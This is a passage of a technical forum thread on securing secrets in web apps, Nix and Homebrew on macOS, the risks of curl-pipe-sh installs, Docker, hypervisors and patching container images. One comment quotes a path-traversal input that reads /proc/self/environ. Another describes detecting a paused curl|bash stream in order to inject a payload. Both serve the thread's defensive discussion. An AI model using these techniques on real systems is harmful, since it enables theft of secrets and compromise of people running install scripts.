                                                                          A simple chroot() should be enough; you don’t need OpenSSH-style privsep as for most applications as there’s no part that needs privileged access after starting. That may not be easy for all applications though, especially things like Ruby on Rails and such. It’s probably easier to add for things like a statically compiled Go binary. You can perhaps also unmount procfs in a container, I never tried.

                                                                          I think stuff like SELinux is very powerful, but also very complex and hard to get right. In practice, most people don’t seem to bother, and even if you do it’s easy to make I mistake. Every time I’ve used it I always found it very opaque and was never quite sure if I had covered everything. I think something like unveil() from OpenBSD is a much better approach (…but it doesn’t exist in Linux, yet anyway).

                                                                          1. 1

                                                                            Generally I don’t like to consider chroot(8) and namespaces(7) security protections, but in this specific case I think that they would work pretty well to prevent access and really is what I should have been thinking of.

                                                                            The reason I pointed out RBAC systems was because I have managed both a pretty large scale SELinux and Grsecurity based RBAC deployment, and you are 100% right about SELinux. It is the biggest pain. Grsecurity RBAC is actually one that I hope more people go back and play with for inspiration, it is trivial to set up and use and even has a learning system that can watch what a system is doing. I used to build Grsecurity profiles as part of testing by running all tests in monitor mode and automatically applying the profiles at deploy time and if possible applying gran to use model checking, and very very rarely ran into issues. But, yes they are not “simple” off the bat.

                                                                            I was sort of staying in Linux land, but I think a better way to handle things is unveil() in most cases, I just don’t know of a way to replicate that in Linux without some sort of RBAC.

                                                                            1. 1

                                                                              So the more I think about it, the more it seems that this is a much harder problem then I thought.

                                                                              For now I added a note about hidepid=1 and that securing secrets is complex. I can’t really find a good/comprehensive article on the topic.

                                                                              One method that seems reasonably secure without too much complexity is to read the values you want and then modify the cmdline and/or environment to remove sensitive information. That’s not 100% secure, but at least it prevents leaking secrets with stuff like pwned.php?file=../../../../../proc/self/environ and is probably “secure enough” to protect against most webapp vulnerability escalations.

                                                                              There are also some dedicated apps/solutions for this (like Hasicorp’s Vault). Not sure what to think of that.

                                                                              1. 1

                                                                                Imagine if you launch a container, as many web apps do these days, then you’d read a secret file into the application and then promptly delete the file. If anyone found an exploit in the application in regards to the file system, the secret would be gone already.

                                                                                If the container is restarted, the file would be accessible again as it is recreated from the container image. You’d probably want to not listen for any new connections before the secret initialization has completed.

                                                                                Would this be a good solution or would it introduce other problems?

                                                              2. 1

                                                                Secrets are the one thing I prefer to pass via Environment Variables or Config files. Everything else I prefer to use flags for pretty much the same reason I don’t want to use them for environment variables.

                                                              1. 14

                                                                Seems like he completely missed Nix and this makes a whole article a bit more questionable

                                                                1. 5

                                                                  This was what I was going to say. Switched to Nix and I never looked back. Ok, Darwin is definitely second-tier on macOS (because it has fewer active contributors), so you have to fix things once in a while. Especially combined with home-manager, Nix has large benefits: e.g. on a new Mac, I just clone the git repository with my home-manager configuration, run home-manager switch and my (UNIX-land) configuration is as it was before.

                                                                  1. 2

                                                                    I wasn’t aware that Nix could be used for this kind of purpose! I’ll have to look into it.

                                                                    1. 1

                                                                      I tried to live the Nix life on Mac, but a package I absolutely needed wasn’t available for Mac and creating a package turned out to be a lot more work than I was willing to put into it. The Linux version of the package actually modifies the binary, I guess to point it at the right path to find its libraries (which seems to be a fairly common practice) and doing the same thing on a Mac was… non-obvious. With Homebrew it’s a one-liner.

                                                                      1. 1

                                                                        Just out of curiosity: do you remember which package?

                                                                        1. 2

                                                                          Dart, the programming language. Here’s the nix file: https://github.com/NixOS/nixpkgs/blob/master/pkgs/development/interpreters/dart/default.nix. The binary is patched on line 62. I have a branch where I added the latest versions of the interpreter for Linux but I had hoped to also support Mac since that’s what I use at work. I should probably go ahead and PR the Linux stuff at least, I suppose.

                                                                          1. 1

                                                                            FYI, here’s my PR for the Linux versions :-) https://github.com/NixOS/nixpkgs/pull/60607

                                                                      2. 5

                                                                        There’s also pkgsrc (macOS), though it’s very hard to say how comprehensive macOS support is there.

                                                                        1. 5

                                                                          The best thing about MacPorts are all the patches we can re-use for nixpkgs. The few times I had some troubles with packaging, there was an answer already in their package repository. Major props to their engineering skills.

                                                                          1. 1

                                                                            Can’t an attacker just replace the hash with their malicious hash?

                                                                            1. 1

                                                                              There’s only one hash. Most curl attacks use the user-agent, timing attacks, etc., so if the returned script is malformed or malicious, the hash would not match whatever’s advertised on the website. This is only applicable when you read the script before piping it to sh. If you pipe scripts without reading, it’s a lost case and there’s no way to stop anybody.

                                                                            2. 1

                                                                              Is there any threat model where curl-hashpipe-sh is safer than straight curl-sh (with HTTPS and basic partial-content precautions)?

                                                                              1. 1

                                                                                It makes sense when your browser’s connection to the package website is trustworthy but the connection you’re curling from isn’t trustworthy.

                                                                                Which, like, when does that happen? I put my browsers on jank WiFi more often than my servers, and if I can’t trust my server’s upstream why do I trust the install image or RAM?

                                                                              2. 1

                                                                                I started writing something similar a while ago but never finished it: https://github.com/zimbatm/curlsh

                                                                                The tricky bit is that because curl and bash are available almost everywhere, they are being used for bootstrapping. So that tool would also have to be distributed widely.

                                                                              1. 4

                                                                                Another funny attack is to add a sleep 5 in the script. Then on the server side, detect if the body stream is paused. If yes, it means that bash is evaluating the file => inject payload.

                                                                                1. 9

                                                                                  Unpopular opinion puffin meme: I really dislike that Docker is required, given that Docker is a form of open source vendor lock-in. I’m unable to use this solution due to Docker not being available/supported on the BSDs and I refuse to use Linux.

                                                                                  Granted, I don’t have an actual use case, but it still irks me that peeps made deliberate choices that prevent me from using and contributing to their solution.

                                                                                  1. 2

                                                                                    Run Docker in QEMU? :-) Only half-joking, because the way Docker is ported to Windows and macOS is by running Linux inside a VM.

                                                                                    I don’t care so much about stuff like this. I mean, can just run Postfix, Dovecot, etc. yourself and you don’t need this container. The annoying things are stuff like test runners that will only run with Docker :-(

                                                                                    1. 1

                                                                                      Aren’t there tools that could convert docker images to a BSD Jail-compatible format? They probably wouldn’t handle all the advanced use-cases but I can envision something like this working for 80% of the cases.

                                                                                      1. 1

                                                                                        I’m sure I’ve seen something like it. But really, you’d want the Docker tooling running and using jails as the “filesystem” driver.

                                                                                    1. 4

                                                                                      There currently is no open source hypervisor solutions with a clear and narrow focus on running cloud specific workloads on modern CPUs. All available solutions have evolved over time and try to be fairly generic.

                                                                                      Amazon’s Firecracker?

                                                                                      1. 2

                                                                                        Firecracker is more a sandbox technology than a hypervisor, but the lines are admittedly blurry.

                                                                                        Firecracker is a from-scratch implementation with the goal of providing a minimal set of devices that are needed for lightweight VMs.

                                                                                        NEMU is more like a trimmed-down fork of QEMU with all the goodness that comes with it like KVM compatibility.

                                                                                        1. 2

                                                                                          But isn’t Firecracker exactly the same thing; i.e., an open source, legacy device-free hypervisor, built on top of KVM for running cloud specific workloads on modern CPUs?

                                                                                      1. 1

                                                                                        Isn’t it in the article?

                                                                                        If Kong is installed as an Ingress controller it’s then possible to annotate the Ingress definition with extra stuff and define rate limiting, retries, …

                                                                                        1. 7

                                                                                          What guarantees do we have that it will be kept up to date?

                                                                                          It might be the most secure image today but without security patches it might not matter that much.

                                                                                          1. 7

                                                                                            The same guarantees that any other free project will be kept up to date.

                                                                                            It’s a simple dockerfile, if a new library version comes out, update the file and rebuild the container.

                                                                                            1. 4

                                                                                              Yea, but we’re depending on the author here to do so. If the author has a cool CI that checks for dependency updates and attempts to auto-rebuild and get new hashes, that’d be a cool automation step that could be open sourced and applied to a bunch of other stuff.

                                                                                              This is a big problem with Docker containers in general. Unless you rebuild them regularly or have tools to scan your containers for out of date libraries/dependencies, security problems can creep up. Sure if they break your app, they’re stuck in the container, but what if you’re running a Kernel with cgroup vulnerabilities? It’s unlikely, and the layers of security do help make breaching more difficult, but it also makes updating all the micro-components more challenging as well.

                                                                                              1. 2

                                                                                                It’s almost fully automated:

                                                                                                1. I have a system set up that checks the software I rely upon (HAProxy, PCRE, NGINX, etc.) for available upgrades, and sends me a report every day at 5AM.

                                                                                                2. I read my email first thing in the morning, at around 5:15AM.

                                                                                                3. It takes me less than a minute to tick up a version number, change a tarball checksum, commit, tag and push to GitHub.

                                                                                                4. I have automatic build rules set up on the Docker Hub to build both variants of the image as soon as a new tag is emitted on the GitHub repo.

                                                                                                5. The Docker Hub takes between 0 and 2h to start building my image, and takes about 20m to build it.

                                                                                                I tried to put it in code, I think it makes it easier to understand:

                                                                                                t_patch  = t_notice + t_fix
                                                                                                
                                                                                                t_notice = t_alert + t_delay
                                                                                                0 <= t_alert <= 1d
                                                                                                t_delay = 15m
                                                                                                >>> 15m <= t_notice <= 1d15m
                                                                                                
                                                                                                t_fix = t_push + t_queue + t_build
                                                                                                t_push <= 1m
                                                                                                0 <= t_queue <= 2h
                                                                                                t_build = 20m
                                                                                                >>> 21m <= t_fix <= 2h21m
                                                                                                
                                                                                                Therefore: 36m <= t_patch <= 1d2h36m
                                                                                                

                                                                                                It (theoretically) takes a minimum of 36m and a maximum of 1d2h36m, assuming there’s no other cause preventing me form pushing the changes and increasing t_delay.

                                                                                                If for whatever reason a build fails, I get notified via email, and the loop reiterates.

                                                                                                One of the main reasons of having only the files required during runtime inside the image is that I don’t have to worry about vulnerabilities found on other software packages I happen to carry from the base image, I only care about HAProxy, it’s dependencies (PCRE, zlib, OpenSSL, Lua and libreadline) and the toolchain (GCC, G++, Perl and Make).

                                                                                                The whole process is verified by GitHub (see the commits page, click on the green ticks next to the commit timestamp. All my commits are signed via GPG, too.

                                                                                                I don’t want to fully automate it because I like to read the changelogs and manually do some checks before applying the changes. I also can’t as I have to manually introduce the private’s key passphrase before commiting.

                                                                                              2. 1

                                                                                                No, Debian has been keeping my systems patched and up to date since 1995.